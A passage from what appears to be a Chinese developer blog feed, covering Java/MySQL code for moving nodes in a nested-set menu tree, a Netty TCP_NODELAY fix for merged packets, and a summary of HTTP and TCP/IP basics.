class="line">}</span><br></pre></td></tr></table></figure><p>示例代码以移动菜单为例,LEFT_VALUE,RIGHT_VALUE分别对应左值和右值</p><p>lockTables(),mysql锁表代码:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jdbcTemplate.update("<span class="keyword">LOCK</span> <span class="keyword">TABLES</span> <span class="string">"+tableName+"</span> WRITE<span class="string">")</span></span><br></pre></td></tr></table></figure><p>unlockTable() 手动解除锁表:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jdbcTemplate.update("<span class="keyword">UNLOCK</span> <span class="keyword">TABLES</span> <span class="string">");</span></span><br></pre></td></tr></table></figure><p>之所以要锁表是因为在修改左右值过程中不能有其它事务修改数据,否则会造成左右值错乱,整张表的数据都坏掉,所以这种数据结构有好有坏,要根据场景来使用。</p><h3><span id="移动节点到目标节点后面">移动节点到目标节点后面</span></h3><p>此代码还可以进一步优化,目前有点冗余</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Transactional</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> Integer <span class="title">moveNodeAfter</span><span class="params">(Long moveId,Long targetId )</span> </span>{</span><br><span class="line"><span class="keyword">int</span> result = <span class="keyword">this</span>.moveNodeBefore(moveId, targetId,<span class="keyword">false</span>);</span><br><span class="line"><span class="keyword">if</span>(result><span class="number">0</span>) {</span><br><span class="line">result += moveNodeBackward(moveId, targetId);</span><br><span class="line">unlockTables();</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> result;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">int</span> <span class="title">moveNodeBackward</span><span class="params">(Long moveId,Long targetId)</span> </span>{</span><br><span class="line">Menu moveMenu = <span class="keyword">this</span>.selectById(moveId);</span><br><span class="line"></span><br><span class="line">Menu targetMenu = <span class="keyword">this</span>.selectById(targetId);</span><br><span class="line"></span><br><span class="line">Integer nodeLeft = moveMenu.getLeftValue();</span><br><span class="line">Integer nodeRight = moveMenu.getRightValue();</span><br><span class="line"></span><br><span class="line">Integer targetLeft = targetMenu.getLeftValue();</span><br><span class="line">Integer targetRight = targetMenu.getRightValue();</span><br><span class="line"></span><br><span class="line">Integer nodeDist = nodeRight - nodeLeft+<span class="number">1</span>; <span class="comment">//确定要移动的范围</span></span><br><span class="line"></span><br><span class="line">Integer targetDist = targetRight - targetLeft+<span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">List<Long> ids = jdbcTemplate.queryForList(<span class="string">"SELECT ID FROM "</span>+tableName+<span class="string">" WHERE LEFT_VALUE >= ? AND RIGHT_VALUE<=?"</span>,Long.class,targetLeft,targetRight);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">StringBuilder sql = <span class="keyword">new</span> StringBuilder(<span class="string">"UPDATE "</span>);</span><br><span class="line">sql.append(tableName);</span><br><span class="line">sql.append(<span class="string">" SET LEFT_VALUE = CASE WHEN LEFT_VALUE >= :nodeLeft THEN LEFT_VALUE + :targetDist ELSE LEFT_VALUE END ,"</span>);</span><br><span class="line">sql.append(<span class="string">"RIGHT_VALUE = CASE WHEN RIGHT_VALUE <= :nodeRight THEN RIGHT_VALUE + :targetDist ELSE RIGHT_VALUE END "</span>);</span><br><span class="line">sql.append(<span class="string">"WHERE LEFT_VALUE >= :nodeLeft AND RIGHT_VALUE <= :nodeRight"</span>);</span><br><span class="line"></span><br><span class="line">MapSqlParameterSource params = <span class="keyword">new</span> MapSqlParameterSource();</span><br><span class="line">params.addValue(<span class="string">"nodeLeft"</span>, nodeLeft);</span><br><span class="line">params.addValue(<span class="string">"nodeRight"</span>, nodeRight);</span><br><span class="line">params.addValue(<span class="string">"targetLeft"</span>, targetLeft);</span><br><span class="line">params.addValue(<span class="string">"targetRight"</span>, targetRight);</span><br><span class="line">params.addValue(<span class="string">"nodeDist"</span>, nodeDist);</span><br><span class="line">params.addValue(<span class="string">"targetDist"</span>, targetDist);</span><br><span class="line">params.addValue(<span class="string">"ids"</span>, ids);</span><br><span class="line"></span><br><span class="line">NamedParameterJdbcTemplate namedParameterJdbcTemplate = <span class="keyword">new</span> NamedParameterJdbcTemplate(jdbcTemplate);</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> result=namedParameterJdbcTemplate.update(sql.toString(),params);</span><br><span class="line"></span><br><span class="line">sql = <span class="keyword">new</span> StringBuilder(<span class="string">"UPDATE "</span>);</span><br><span class="line">sql.append(tableName);</span><br><span class="line">sql.append(<span class="string">" SET LEFT_VALUE = LEFT_VALUE - :nodeDist,RIGHT_VALUE = RIGHT_VALUE - :nodeDist "</span>);</span><br><span class="line">sql.append(<span class="string">"WHERE LEFT_VALUE >= :targetLeft AND RIGHT_VALUE <= :targetRight AND ID IN (:ids) "</span>);</span><br><span class="line"></span><br><span class="line">result+=namedParameterJdbcTemplate.update(sql.toString(),params);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3><span id="移动节点到目标节点的子节点最后一位">移动节点到目标节点的子节点最后一位</span></h3><p>移到节点到目标节点的下面,作为其子节点,并排在其子节点的最后一位,被移动节点的子节点也会跟着一并移动,代码示例:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Title</span>: moveNodeByParentAsLastChild</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Description</span>: 移动菜单到目标菜单下作为目标菜单的最后一个子菜单</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> reinershir</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2021年5月26日</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> moveId 要移动的菜单ID</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> targetId 目标父菜单ID</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Transactional</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">moveNodeByParentAsLastChild</span><span class="params">(Long moveId,Long targetId)</span> </span>{</span><br><span class="line"><span class="comment">//LOCK TABLE</span></span><br><span class="line"><span class="keyword">this</span>.lockTable();</span><br><span class="line"> </span><br><span class="line">Menu moveMenu = <span class="keyword">this</span>.selectById(moveId);</span><br><span class="line"></span><br><span class="line">Menu targetMenu = <span class="keyword">this</span>.selectById(targetId);</span><br><span class="line"></span><br><span class="line">Integer moveLeft = moveMenu.getLeftValue(); </span><br><span class="line"></span><br><span class="line">Integer moveRight = moveMenu.getRightValue();</span><br><span class="line"><span class="comment">////要移动菜单的范围,即被移动菜单及其子节点的左右值范围</span></span><br><span class="line">Integer moveDistance = moveRight - moveLeft+<span class="number">1</span>; </span><br><span class="line"></span><br><span class="line">Integer level = moveMenu.getLevel();</span><br><span class="line"></span><br><span class="line">Integer targetRight = targetMenu.getRightValue();</span><br><span class="line"></span><br><span class="line">Integer targetLevel = targetMenu.getLevel();</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>((targetMenu.getLeftValue()>=moveLeft&&targetRight<=moveRight)||(moveId==targetId)) {</span><br><span class="line">unlockTables();</span><br><span class="line"><span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line">Integer result = <span class="number">0</span>;</span><br><span class="line"><span class="comment">//设置子节点的新值 </span></span><br><span class="line">StringBuilder sql = <span class="keyword">new</span> StringBuilder(<span class="string">"UPDATE "</span>);</span><br><span class="line">sql.append(tableName);</span><br><span class="line">sql.append(<span class="string">" SET LEFT_VALUE = CASE WHEN LEFT_VALUE > :targetRight THEN LEFT_VALUE + :moveDistance ELSE LEFT_VALUE END ,"</span>);</span><br><span class="line">sql.append(<span class="string">"RIGHT_VALUE = CASE WHEN RIGHT_VALUE >= :targetRight THEN RIGHT_VALUE + :moveDistance ELSE RIGHT_VALUE END "</span>);</span><br><span class="line">sql.append(<span class="string">"WHERE RIGHT_VALUE >= :targetRight"</span>);</span><br><span class="line"></span><br><span class="line">MapSqlParameterSource params = <span class="keyword">new</span> MapSqlParameterSource();</span><br><span class="line">params.addValue(<span class="string">"moveLeft"</span>, moveLeft);</span><br><span class="line">params.addValue(<span class="string">"moveRight"</span>, moveRight);</span><br><span class="line">params.addValue(<span class="string">"targetRight"</span>, targetRight);</span><br><span class="line">params.addValue(<span class="string">"moveDistance"</span>, moveDistance);</span><br><span class="line"></span><br><span class="line">NamedParameterJdbcTemplate namedParameterJdbcTemplate = <span class="keyword">new</span> NamedParameterJdbcTemplate(jdbcTemplate);</span><br><span class="line"></span><br><span class="line">result+=namedParameterJdbcTemplate.update(sql.toString(),params);</span><br><span class="line"></span><br><span class="line"><span class="comment">//再次查询 </span></span><br><span class="line">moveMenu = <span class="keyword">this</span>.selectById(moveId);</span><br><span class="line">moveLeft = moveMenu.getLeftValue(); </span><br><span class="line">moveRight = moveMenu.getRightValue();</span><br><span class="line"></span><br><span class="line">Integer newDistance = targetRight>=moveLeft?targetRight-moveLeft:moveLeft - targetRight;</span><br><span class="line">Integer newDistanceOperator = targetRight >=moveLeft?<span class="number">1</span>:<span class="number">0</span>;</span><br><span class="line">params.addValue(<span class="string">"newDistanceOperator"</span>, newDistanceOperator);</span><br><span class="line">params.addValue(<span class="string">"newDistance"</span>, newDistance);</span><br><span class="line">params.addValue(<span class="string">"level"</span>, level);</span><br><span class="line">params.addValue(<span class="string">"targetLevel"</span>, targetLevel);</span><br><span class="line"><span class="comment">//重新塞入</span></span><br><span class="line">params.addValue(<span class="string">"moveLeft"</span>, moveLeft);</span><br><span class="line">params.addValue(<span class="string">"moveRight"</span>, moveRight);</span><br><span class="line"><span class="comment">//移动节点</span></span><br><span class="line">sql = <span class="keyword">new</span> StringBuilder(<span class="string">"UPDATE "</span>);</span><br><span class="line">sql.append(tableName);</span><br><span class="line">sql.append(<span class="string">" SET LEFT_VALUE = CASE WHEN :newDistanceOperator = 1 THEN LEFT_VALUE + :newDistance ELSE LEFT_VALUE - :newDistance END ,"</span>);</span><br><span class="line">sql.append(<span class="string">"RIGHT_VALUE = CASE WHEN :newDistanceOperator = 1 THEN RIGHT_VALUE + :newDistance ELSE RIGHT_VALUE - :newDistance END ,"</span>);</span><br><span class="line">sql.append(<span class="string">"LEVEL = LEVEL - :level +1 + :targetLevel WHERE RIGHT_VALUE <= :moveRight AND LEFT_VALUE >= :moveLeft"</span>);</span><br><span class="line"></span><br><span class="line">result += namedParameterJdbcTemplate.update(sql.toString(),params);</span><br><span class="line">sql = <span class="keyword">new</span> StringBuilder(<span class="string">"UPDATE "</span>);</span><br><span class="line">sql.append(tableName);</span><br><span class="line">sql.append(<span class="string">" SET LEFT_VALUE = CASE WHEN LEFT_VALUE > :moveRight THEN LEFT_VALUE - :moveDistance ELSE LEFT_VALUE END,"</span>);</span><br><span class="line">sql.append(<span class="string">"RIGHT_VALUE = CASE WHEN RIGHT_VALUE >= :moveRight THEN RIGHT_VALUE - :moveDistance ELSE RIGHT_VALUE END "</span>);</span><br><span class="line">sql.append(<span class="string">"WHERE RIGHT_VALUE >= :moveRight "</span>);</span><br><span class="line"></span><br><span class="line">result+= namedParameterJdbcTemplate.update(sql.toString(),params);</span><br><span class="line">unlockTables();</span><br><span class="line"><span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h1><span id="附加说明">附加说明</span></h1><p>表字段对应上一章LEFT_VALUE对应L,RIGHT_VALUE对应R,其余字段名字相同</p>]]></content>
<summary type="html"><h1 id="说明"><a href="#说明" class="headerlink" title="说明"></a>说明</h1><p>在之前的文章:<a href="https://reiner.host/posts/9340b114.html">使用左右值树形数据结构实现树形菜单</a> 中记录了如何使用左右值增删改查节点,本次将记录一下如何移动节点,语言使用JAVA + MYSQL实现。</p>
<p><strong>总体思路</strong></p>
<p>移动节点的大致思路是记录移动节点和目标节点之间的左右值以及其子节点的左右值,移动节点及其子节点左右值和目标节点及其子节点的左右值相互加减。</p>
<p><strong>举例</strong></p>
<p>节点A的左右值是LEFT=1,RIGHT=2,节点B的左右值是LEFT=5,RIGHT=6,现在要将节点A移动到节点B前面,那么它的移动范围就是RIGHT - LEFT + 1,即:2 - 1 +1 = 2,也就是说节点A左右值+2,左右值小于节点B的左右值-2 。</p>
<p>结果:节点A的LEFT = 3 ,RIGHT = 4,节点B前面的节点左右值减了2变成了LEFT=1,RIGHT=2,相当于和节点A换了个位置,如此来达到移动节点的目的</p>
<p>后续的移动到节点B后面、移动到节点B作为其子节点思路相同。</p>
<p><strong>更新</strong></p>
<p>2021-6-22 更新</p>
<p>修复了BUG,最新代码请关注: <a href="https://github.com/reinershir/lui-auth">https://github.com/reinershir/lui-auth</a> 以下代码摘抄自菜单管理功能</p></summary>
<category term="数据结构与算法" scheme="https://reiner.host/categories/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95/"/>
<category term="-- 数据结构 -- 算法 -- modified preorder tree traversal -- 左右值树形" scheme="https://reiner.host/tags/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84-%E7%AE%97%E6%B3%95-modified-preorder-tree-traversal-%E5%B7%A6%E5%8F%B3%E5%80%BC%E6%A0%91%E5%BD%A2/"/>
</entry>
<entry>
<title>解决使用netty作为TCP服务端时设备接收消息连包问题</title>
<link href="https://reiner.host/posts/d0c795f9.html"/>
<id>https://reiner.host/posts/d0c795f9.html</id>
<published>2021-06-11T07:28:21.000Z</published>
<updated>2021-12-24T12:18:33.182Z</updated>
<content type="html"><![CDATA[<h1><span id="前言">前言</span></h1><p>在前一章记录了如何使用netty作为TCP通信的服务端:<a href="https://reiner.host/posts/94ca3821.html">点击前往</a> ,本章记录一下如何解决硬件设备在接收到服务端发送过来的消息时有连包的问题。</p><h1><span id="问题描述">问题描述</span></h1><p>在通过监测硬件的收包信息时发现偶尔会出现心跳包和指令“粘”在一块的情况,例如指令的发送内容是:<code>EEFF0103GGHH</code>,心跳包的回复是:<code>EEFF0201GGHH</code>。</p><p>当心跳包返回信息的时候此时正好指令下发,那么设备端就会收到:<code>EEFF0103GGHHEEFF0201GGHH</code>。</p><p>这是由于调用netty的<code>writeAndFlush()</code>方法时并不是马上将数据发送过去,而将它放在一个缓冲池当中,而由于硬件的一发一收通信机制客户端无法对连包的数据做分割,因此这个问题要由服务端解决。</p><span id="more"></span><h1><span id="解决办法">解决办法</span></h1><p>找遍了谷歌、官方文档等资料就是没有说明连包问题的相关资料,大部分资料都是说明如何解决服务端接收TCP消息时产生的粘包、半包等问题。</p><p>最终发现原来netty配置中有个<code>ChannelOption.TCP_NODELAY</code>选项,官网上没有任何介绍,根据名字可知意思为“无延迟TCP”,于是启动类代码修改为如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//创建线程组</span></span><br><span class="line"> EventLoopGroup bossGroup = <span class="keyword">new</span> NioEventLoopGroup();</span><br><span class="line"> EventLoopGroup workerGroup = <span class="keyword">new</span> NioEventLoopGroup();</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">//创建启动类</span></span><br><span class="line"> ServerBootstrap b = <span class="keyword">new</span> ServerBootstrap(); </span><br><span class="line"> b.group(bossGroup, workerGroup)</span><br><span class="line"> .channel(NioServerSocketChannel.class)</span><br><span class="line"> .childHandler(<span class="keyword">new</span> ServerInitializer(deviceReportEvent))</span><br><span class="line"> .childOption(ChannelOption.TCP_NODELAY, <span class="keyword">true</span>) <span class="comment">//无延时发送消息</span></span><br><span class="line"> .option(ChannelOption.SO_BACKLOG, <span class="number">256</span>)</span><br><span class="line"> .childOption(ChannelOption.SO_KEEPALIVE, <span class="keyword">true</span>);</span><br><span class="line"> <span class="comment">// 绑定端口,开始接收进来的连接</span></span><br><span class="line"> ChannelFuture f = b.bind(<span class="number">9000</span>).sync();</span><br><span class="line"> <span class="comment">// 等待服务器 socket 关闭 。</span></span><br><span class="line"> f.channel().closeFuture().sync();</span><br></pre></td></tr></table></figure><p>关键代码在于<code>.childOption(ChannelOption.TCP_NODELAY, true)</code>,最终通过抓包发现未在出现连包的情况。</p><p>由于我这边的特殊情况,在发送消息时我还加了一层保障,防止心跳回复与指令冲突,示例代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Title</span>: writeAndFlush</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Description</span>: 返回消息到客户端</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> reiner_shir</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> channel</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> respData</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">writeAndFlush</span><span class="params">(Channel channel,<span class="keyword">byte</span>[] respData)</span> </span>{</span><br><span class="line"><span class="keyword">final</span> ByteBuf respBuf = channel.alloc().buffer(respData.length);</span><br><span class="line">respBuf.writeBytes(respData);</span><br><span class="line"><span class="keyword">synchronized</span> (channel) {</span><br><span class="line">ChannelFuture future = channel.writeAndFlush(respBuf);</span><br><span class="line"><span class="keyword">if</span>(future!=<span class="keyword">null</span>) {</span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line">future.sync();</span><br><span class="line">} <span class="keyword">catch</span> (InterruptedException e) {</span><br><span class="line">e.printStackTrace();</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>在前一章记录了如何使用netty作为TCP通信的服务端:<a href="https://reiner.host/posts/94ca3821.html">点击前往</a> ,本章记录一下如何解决硬件设备在接收到服务端发送过来的消息时有连包的问题。</p>
<h1 id="问题描述"><a href="#问题描述" class="headerlink" title="问题描述"></a>问题描述</h1><p>在通过监测硬件的收包信息时发现偶尔会出现心跳包和指令“粘”在一块的情况,例如指令的发送内容是:<code>EEFF0103GGHH</code>,心跳包的回复是:<code>EEFF0201GGHH</code>。</p>
<p>当心跳包返回信息的时候此时正好指令下发,那么设备端就会收到:<code>EEFF0103GGHHEEFF0201GGHH</code>。</p>
<p>这是由于调用netty的<code>writeAndFlush()</code>方法时并不是马上将数据发送过去,而将它放在一个缓冲池当中,而由于硬件的一发一收通信机制客户端无法对连包的数据做分割,因此这个问题要由服务端解决。</p></summary>
<category term="JAVA" scheme="https://reiner.host/categories/JAVA/"/>
<category term="netty" scheme="https://reiner.host/tags/netty/"/>
<category term="TCP服务端" scheme="https://reiner.host/tags/TCP%E6%9C%8D%E5%8A%A1%E7%AB%AF/"/>
<category term="TCP粘包" scheme="https://reiner.host/tags/TCP%E7%B2%98%E5%8C%85/"/>
<category term="TCP半包" scheme="https://reiner.host/tags/TCP%E5%8D%8A%E5%8C%85/"/>
<category term="16进制通信" scheme="https://reiner.host/tags/16%E8%BF%9B%E5%88%B6%E9%80%9A%E4%BF%A1/"/>
</entry>
<entry>
<title>HTTP&TCP/IP协议自我总结</title>
<link href="https://reiner.host/posts/cc861966.html"/>
<id>https://reiner.host/posts/cc861966.html</id>
<published>2021-05-25T02:58:11.000Z</published>
<updated>2021-12-24T12:18:32.976Z</updated>
<content type="html"><![CDATA[<h1><span id="http-https-tcpip总结">HTTP、HTTPS、TCP/IP总结</span></h1><h4><span id="协议分类">协议分类</span></h4><p>HTTP属于应用层协议,TCP属于传输层协议,IP属于网络层协议,一个HTTP协议由IP协议包体包含了TCP协议内容,而TCP协议包体又包括了HTTP协议内容,就像一个洋葱。</p><h4><span id="http请求历程">HTTP请求历程</span></h4><p>一个HTTP请求的完整历程,首先会根据URL解析请求的地址和端口,此时的地址拿到的一般是域名,因此还需要根据DNS服务器获取域名的真实IP。</p><p>NDS服务查询完毕后,此时浏览器会调用Socket库将HTTP协议里的内容包装成TCP或者UDP协议包。</p><p>光靠TCP协议还无法具备传输功能,因此TCP还需要借助IP协议来定位目标服务器在互联网中的位置,光靠IP依旧无法准确定位,因为一个IP可能有好几台设备使用,要明确要传输的目标还得在IP头部加上目标的MAC地址。</p><p>最后由网卡将数字信息转换为光信号经网线发送出去,将服务器通过交换机和路由器接收到请求包后像剥洋葱一样一层一层解析包中内容。</p><p>小结,一个HTTP请求总共要经历如下几层协议:</p><ul><li><p>应用层:定义数据格式,并按照对应的格式解读数据。 –HTTP</p></li><li><p>传输层:定义端口,确认主机上应用程序的身份,并将数据包交给对应的应用程序。 –TCP</p></li><li><p>网络层:定义IP地址,确认主机所在的网络位置,并通过IP进行MAC寻址,对外网数据包进行路由转发。 –IP</p></li><li><p>链路层:对0和1进行分组,定义数据帧,确认主机的物理地址,传输数据。 –物理传输</p></li></ul><span id="more"></span><p>此外 IP 中还包括 ICMP 协议和 ARP 协议。</p><p>1、ICMP 用于告知网络包传送过程中产生的错误以及各种控制信息。<br>2、ARP 用于根据 IP 地址查询相应的以太网 MAC 地址。</p><h4><span id="tcp为什么需要三次握手">TCP为什么需要三次握手</span></h4><p>面试中问烂的问题了,在 HTTP 传输数据之前,首先需要 TCP 建立连接,TCP 连接的建立,通常称为三次握手。这个所谓的「连接」,只是双方计算机里维护一个状态机。</p><p>一开始,客户端和服务端都处于 CLOSED 状态。先是服务端主动监听某个端口,处于 LISTEN 状态。然后客户端主动发起连接 SYN,之后处于 SYN-SENT 状态。</p><p>服务端收到发起的连接,返回 SYN,并且 ACK 客户端的 SYN,之后处于 SYN-RCVD 状态。客户端收到服务端发送的 SYN 和 ACK 之后,发送 ACK 的 ACK,之后处于 ESTABLISHED状态,因为它一发一收成功了。</p><p>服务端收到 ACK 的 ACK 之后,处于 ESTABLISHED 状态,因为它也一发一收了。<strong>所以三次握手目的是保证双方都有发送和接收的能力。</strong></p><p><img src="data:image/jpg;base64,/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wAARCAEkAjEDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD0CiiigAprMqjLEAe9NmkEMTO3QCsZ5Zbx8k4X07CgDVa+tl6zLSfb7b/nqPyNZwtEHUkn1pfskfvQBf8At9t/z1H5Gj7fbf8APT9DWeLWPtu/Oj7LGOTn86AND+0Lb/np+hpDqNt2k/Q1Q+yxn+9+dAtE64P50AXv7Rt/7/6GlGo25Gd/6GqH2WM+v50fZY/f86AL39o2/wDf/Sj+0bf++fyqj9lj9/zo+zRnrn86AL39o2/9/wDSj+0bf+/+lUfssY5GT+NAtI8d/wA6ALw1K3x9/wDSl/tG2/56foaofZI/f86Pskecc/nQBof2hbf89P0NH9oW3/PT9DVD7LH7/nR9kj96ALv9o2/9/wDQ0o1C3Izv/Q1R+yx9s/nR9kj9/wA6ALv9o2/9/wDSnf2hbf8APT9DWf8AZYz1z+dL9lj9+fegC+NQtj/y0/Q1NHPFL9xwayvskfv+dRPC0J3xMSR2oA3qKpafdm4Qq+N6/qKu0AFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQBn6uSLdQO7c1XtVAhUAdqn1j/UJ/vVFbgeQnrigCSiiigApOtBxRj0oAM0A5NJSjFABnHao5JUiI8xlXPcnGakPSobjdt/dGMN/t9KAFW4hdwqyoWPQBqSW5ijjd2YEJw2DyKih8/fiYwbf9jOf1qnfpbzfaMr8qYDEf8tHHRfzoA1N67ck8AZNQJqNswGH4wD+HaqVtDF9gkZISZfLCyR5x8wFYQBiiU/KMhQcDgfKPUH1oA677VD5YkMiiM9GJ4pqXkDuFjkVyem05qlCJX063SKJiMcmNwmP0qDS0uQXIilYCZs5mGOvcY5oA3aKKKACkFLRQAUUUUAFFFFAFeyJTUcDuTn8q2axrb/kJjHqf5Vs0ALRRRQAUUUUAFFJTWkRBlmCj3OKAH0